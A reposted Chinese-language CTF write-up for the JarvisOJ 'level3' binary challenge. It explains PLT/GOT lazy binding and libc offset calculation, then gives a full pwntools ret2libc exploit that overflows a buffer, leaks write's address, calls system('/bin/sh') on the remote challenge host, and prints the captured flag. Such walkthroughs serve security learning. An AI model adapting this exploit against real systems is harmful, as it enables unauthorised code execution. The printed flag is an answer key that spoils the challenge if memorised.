欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

jarvisoj level3

程序员文章站 2022-07-15 15:30:52
...

level3

将文件下载下来使用linux下的checksec进行检查开启了什么安全机制

aaa@qq.com:~/Desktop/test$ checksec level3 
[*] '/home/sun/Desktop/test/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启可栈中不能执行
将这个文件放入ida里面可以看出这个文件里面并没有system函数和/bin/sh字符串,因此不能直接得出system函数的地址,我们可以知道还给了一个libc库,可以在这个库中寻找需要的函数和字符串。
jarvisoj level3jarvisoj level3可以很容易发现有溢出的漏洞,要想得到shell必须要执行system("/bin/sh")这样的命令,因此这需要我们去构造。
在构造之前需要知道一个知识:在库中两个函数的偏移之差等于程序实际运行中这两个函数在程序中的偏移之差。

首先因为我们有这个共享库,因此既我们能够很容易得到在libc库中函数的偏移量,使用ELF便能得到

因此只要能够得到一个在程序运行中的函数地址便可以算出库函数中任意函数在程序中的地址了。

接下来的问题便是得到一个函数的地址,在这之前需要知道在linux程序运行中有两个表got表和plt表,这是当运行一个函数时需要使用到这两个表,当第一次运行一个共享库中的函数时,便会找到对应的plt表中的内容,这个内容是got表的地址,got表里面的内容是plt表中的第二条指令,然后会在共享库中寻找对应函数的地址,并将地址放入got表中,这便是延迟绑定,表示当运行时才会确定一个共享库函数的真实地址,当第二次使用这个函数时会直接使用got表中的内容当成函数的地址,这是因为在第一次已经找到了,以后就可以直接使用了。

我们使用elf.symbols[‘write’]和elf.plt[‘write’]这个得到的结果是相同的,都是对应函数在plt表的地址(并不是plt表中的内容),当使用elf.plt[‘func’]会报错这是因为用户自定义的函数不在这个表里,elf.got[‘write’]这个返回对应函数got表的地址。

调用共享库的函数都是调用的这个函数plt表的地址,然后会找到真正的函数地址。

下面便是这个题的答案

elf=ELF("./libc-2.19.so")
elf1=ELF("./level3")
p=remote("pwn2.jarvisoj.com",9879)
sys_addr_lib=elf.symbols['system']
bin_addr_lib=elf.search('/bin/sh').next()
wri_addr_lib=elf.symbols['write']
write_plt=elf1.symbols['write']
write_got=elf1.got['write']
read_plt=elf1.symbols['read']
func_addr=elf1.symbols['vulnerable_function']
payload1='a'*0x88+'AAAA'+p32(write_plt)+p32(func_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("Input:\n")
p.sendline(payload1)
write_addr=u32(p.recv(4))
print type(write_addr)


sys_addr=write_addr-wri_addr_lib+sys_addr_lib
bin_addr=write_addr-wri_addr_lib+bin_addr_lib
p.recvuntil("Input:\n")
payload2='a'*0x88+'AAAA'+p32(sys_addr)+p32(2)+p32(bin_addr)
p.sendline(payload2)
p.interactive()


aaa@qq.com:~/Desktop/test$ python 3.py 
[*] '/home/sun/Desktop/test/libc-2.19.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/sun/Desktop/test/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to pwn2.jarvisoj.com on port 9879: Done
<type 'int'>
[*] Switching to interactive mode
$ ls
flag
level3
$ cat flag
CTF{d85346df5770f56f69025bc3f5f1d3d0}
$